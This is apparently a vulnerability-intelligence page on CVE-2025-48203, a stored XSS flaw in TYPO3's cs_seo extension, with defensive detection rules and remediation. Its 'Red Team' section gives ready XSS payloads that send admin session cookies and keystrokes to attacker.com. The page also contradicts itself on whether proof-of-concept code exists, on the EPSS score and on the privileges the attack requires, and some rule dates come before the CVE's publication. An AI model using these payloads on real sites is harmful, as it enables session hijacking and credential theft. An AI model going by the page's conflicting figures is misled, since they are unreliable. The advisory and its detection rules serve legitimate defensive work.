☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Typo3 logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.4 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-48203

CVE-2025-48203 Cross-Site Scripting in Typo3
📅 PUBLISHED: 2025-05-21 00:00 UTC 🔄 UPDATED: 2026-09-24 06:01 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-48203 is a stored Cross-Site Scripting (XSS) vulnerability in the cs_seo extension for TYPO3 CMS, affecting versions through 9.2.0. The vulnerability allows an attacker to inject arbitrary JavaScript into the TYPO3 backend, which is then executed when an administrator or editor views the affected SEO metadata fields. With a CVSS score of 6.4 (Medium), the risk is elevated due to the potential for session hijacking, privilege escalation, or defacement within the TYPO3 backend. No official patch has been released, and the vendor status remains unknown. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the availability of public proof-of-concept code increases the risk for targeted attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a third-party TYPO3 extension (cs_seo), which is not part of the core TYPO3 distribution. The extension is typically installed via Composer or the TYPO3 Extension Repository (TER). Since no patch is available, organizations using this extension must consider it a supply chain risk and evaluate alternative SEO extensions or implement strict input validation and output encoding.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.4 (Medium)
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – An unauthenticated attacker can inject the payload.
  • User Interaction: Required (UI:R) – A victim (admin/editor) must view the malicious input.
  • Scope: Changed (S:C) – The impact extends beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure possible.
  • Integrity Impact: Low (I:L) – Some data modification possible.
  • Availability Impact: None (A:N) – No direct denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. However, in a TYPO3 backend context, an admin viewing SEO fields is a common action, making this a realistic attack vector.

Deep Dive & Mechanics

The cs_seo extension provides SEO-related fields for TYPO3 pages, such as meta titles, descriptions, and keywords. The vulnerability lies in the improper sanitization of user-supplied input when saving these fields. An attacker with access to the TYPO3 backend (e.g., an editor role) can inject malicious JavaScript into any of these fields. When an administrator or another editor views the page properties or the SEO module, the injected script executes in the context of the victim's session.

Root Cause: The extension fails to encode or sanitize output when rendering the SEO fields in the backend. This is a classic stored XSS (CWE-79) where the input is stored in the database and later rendered without proper escaping.

Attack Flow:

  1. Attacker logs into TYPO3 backend with editor privileges.
  2. Attacker navigates to a page's SEO settings.
  3. Attacker injects a payload like <script>alert('XSS')</script> into the meta description field.
  4. The payload is stored in the database.
  5. An administrator views the same page's SEO settings.
  6. The script executes in the admin's browser, allowing the attacker to perform actions on behalf of the admin (e.g., create new admin users, exfiltrate session cookies).

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is assumed to be in the rendering logic of the cs_seo extension. A typical vulnerable pattern in TYPO3 extensions is:

Vulnerable Code (PHP):

// In a Fluid template or PHP view helper
{page.meta_description -> f:format.raw()}

This outputs the raw value without escaping.

Patched Code (Hypothetical):

// Use the standard TYPO3 escape view helper
{page.meta_description -> f:format.htmlspecialchars()}

Or in PHP:

$description = htmlspecialchars($page['meta_description'], ENT_QUOTES, 'UTF-8');

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to a TYPO3 backend with at least editor privileges.
  • The cs_seo extension version <= 9.2.0 installed.

Exploitation Steps:

  1. Log in to the TYPO3 backend.
  2. Navigate to a page and edit its SEO settings (e.g., "Meta Description").
  3. Inject the following payload into the meta description field:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save the page.
  5. Wait for an administrator to view the page's SEO settings.
  6. The admin's session cookie is exfiltrated to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team

Detection Steps:

  1. Monitor TYPO3 backend access logs for unusual editor activity, especially on SEO fields.
  2. Check the tx_csseo_domain_model_meta database table for suspicious HTML/JavaScript content.
  3. Use the YARA and Sigma rules provided in the Detection Engineering section.

Hunting Query (MySQL):

SELECT * FROM tx_csseo_domain_model_meta WHERE description REGEXP '<script|<img|onerror|onload';

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to unknown domains from the TYPO3 server.
    • Suspicious Referer headers containing TYPO3 backend URLs.
  • File IOCs:
    • Modified entries in tx_csseo_domain_model_meta table containing JavaScript.
  • Behavioral IOCs:
    • Unexpected creation of new admin users.
    • Unusual changes to page SEO metadata.

Detection Engineering

YARA Rule

rule CVE_2025_48203_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting TYPO3 cs_seo extension"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48203"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: TYPO3 cs_seo XSS Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in TYPO3 cs_seo extension fields
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: typo3
detection:
    selection:
        EventID: 100
        Payload|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in SEO fields (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-48203 TYPO3 cs_seo XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"tx_csseo_domain_model_meta"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the cs_seo extension if not critical to operations.
  2. Restrict editor privileges to trusted users only.
  3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in POST requests to TYPO3 backend URLs.

Long-term Fix:

  • Since no official patch exists, consider forking the extension and applying the fix described in the "Vulnerable vs. Patched Code" section.
  • Migrate to an alternative SEO extension that is actively maintained and patched.

Workaround:

  • Add the following PHP code to the TYPO3 AdditionalConfiguration.php to sanitize output globally (may break other functionality):
    $GLOBALS['TYPO3_CONF_VARS']['SYS']['Objects'][\TYPO3\CMS\Fluid\ViewHelpers\Format\RawViewHelper::class] = [
        'className' => \TYPO3\CMS\Fluid\ViewHelpers\Format\HtmlspecialcharsViewHelper::class,
    ];
    

Valters IT
Securing Digital Ecosystems

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-48203/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.